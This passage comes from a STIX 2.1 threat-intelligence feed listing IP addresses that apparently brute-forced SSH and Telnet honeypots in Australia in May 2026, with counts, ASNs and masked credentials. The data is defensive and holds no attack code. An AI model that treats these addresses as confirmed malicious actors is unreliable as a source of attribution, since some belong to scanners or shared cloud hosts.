      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a5ae0537-de29-4c77-9210-72b1832e0d3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.213.221.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--32ce1f7a-80ba-408e-bca7-684cea59f642",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.247.94.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--44ca5e31-a2b6-4e8e-9ffb-c3d278c44bd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--4444b4cf-1c39-4771-bcf3-e2eb8ea19b81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.24.4.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 269906. Organisation(s): Chaco Digital SA.",
      "id": "indicator--7df6e5ba-aa84-4ad6-a4f6-3da053d30841",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.191.81.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR.",
      "id": "indicator--f659ed15-f982-4ea0-9f7d-0781a0b9ab4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.6.23.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--baedf081-72f4-44b2-9bb4-78ce1f0bcac6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2457. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 42020. Organisation(s): OGERO.",
      "id": "indicator--d2a0693a-eb9b-4c70-8afc-3c077353ee0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.42.251.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:15:10.000Z",
      "valid_until": "2026-06-03T18:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 37119. Organisation(s): UNITEL.",
      "id": "indicator--b3d6cd7f-17f2-45ea-a046-2a9da066ebc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.168.70.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--5cf5203a-8fb4-4794-be6a-499a2941db66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.123.235.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8d3c9ff0-e00e-44be-bcad-6649abf17669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.212.31.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.245.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--a74f7d63-70a2-4179-ab54-c98fafad0099",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.224.206.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 17511. Organisation(s): OPTAGE Inc..",
      "id": "indicator--814a58cb-5052-4b03-9915-432cbbe81943",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.166.240.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--0cd744a8-bcd4-4a58-a245-22a96e44558d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7040. Organisation(s): Netminders Server Hosting. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--13749512-4a1a-41c9-838c-8dd78e59decb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.21.150.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--24c246f8-383d-44d7-9af5-ff812d0293ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.61.237.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268056. Organisation(s): LEXCOM TELECOM.",
      "id": "indicator--56679738-15a2-490b-ad11-ef7034f244cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.168.88.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c253af42-2a8c-4c63-82d9-827ad3ae67c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 42313. Organisation(s): One Albania Sh.a..",
      "id": "indicator--9c05ec2d-6d70-442b-b5eb-d07faaa4f190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.106.125.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T19:15:10.000Z",
      "valid_until": "2026-06-03T19:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b97bfa6b-1b52-45a3-9518-f6eb0343f353",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.142.106.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4682141f-6fb3-450e-995d-96818b920341",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.104.132.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264393. Organisation(s): NetBrasil Telecom LTDA. Usernames observed (masked): a***********r. Passwords observed (masked): P*******!.",
      "id": "indicator--6e49da55-7996-4a03-be2b-16c3a7a9f944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.161.219.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.252.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1326. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--090d25f5-0afa-4939-84fb-6beab9ca6df9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.68.127.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--10db9850-03d4-4356-92d8-36c98dabaad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.90.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 27895. Organisation(s): Nucleo S.A..",
      "id": "indicator--7a58eb14-f7e6-4b9d-bdf5-1d26cc25883c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.94.229.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--17c8b46a-ee57-42b2-ad72-1cf9bf736e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--ca8baf7e-dcf3-438d-8eba-0b6170ec99cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.247.88.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--9afafc16-d67e-4b00-99ed-c9d31e8639ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.198.184.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 62214. Organisation(s): Rackforest Zrt..",
      "id": "indicator--47e4de3c-661f-43cb-912a-efcdd7693536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.201.186.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c1dbd97b-71e0-413d-8975-504a544b8a99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.146.163.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2db9f956-26dc-4698-83df-23b0596c7a17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.58.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): a***********r, 3**********4, d****y, u***0. Passwords observed (masked): 1****e, 3***********4, 3**********4, p*************7, t**t.",
      "id": "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.243.142.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266668. Organisation(s): OBERCOM S.R.L..",
      "id": "indicator--9e5ca274-a355-4cbd-8e92-a5bee03cac40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.228.189.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268253. Organisation(s): Nossanet Fibra Eireli.",
      "id": "indicator--228a7235-ff1d-4273-9a95-9f0cb32b698a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.236.251.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
